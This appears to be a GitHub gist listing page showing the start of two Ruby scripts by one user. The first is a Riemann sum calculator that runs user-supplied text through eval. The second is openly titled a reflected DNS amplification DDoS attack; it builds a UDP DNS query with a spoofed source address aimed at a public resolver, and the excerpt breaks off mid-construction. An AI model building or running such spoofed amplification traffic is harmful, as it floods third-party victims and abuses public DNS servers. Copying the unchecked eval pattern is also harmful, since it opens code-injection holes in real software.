Skip to content

Instantly share code, notes, and snippets.

View hkparker's full-sized avatar

Hayden Parker hkparker

View GitHub Profile
@hkparker
hkparker / riemann_sum.rb
Created April 9, 2014 22:45
Simple Riemann sum calculator in ruby
#!/usr/bin/env ruby
def eval_function(function, x_value)
function.upcase!
function.gsub!(/X/, "#{x_value}")
return eval(function)
end
def riemann_sum(function, delta_x, lower_bound, upper_bound)
areas = []
@hkparker
hkparker / dnsdos.rb
Last active August 29, 2015 13:57
Reflected DNS amplified DDOS attack in ruby with packetfu
#!/usr/bin/env ruby
require 'rubygems'
require 'packetfu'
dns_query = PacketFu::UDPPacket.new
dns_query.ip_saddr = "10.0.2.15" # spoofed source address
dns_query.ip_daddr = "8.8.4.4" # DNS server to query
dns_query.udp_dst=53
dns_query.udp_src=rand(0xffff-1024) + 1024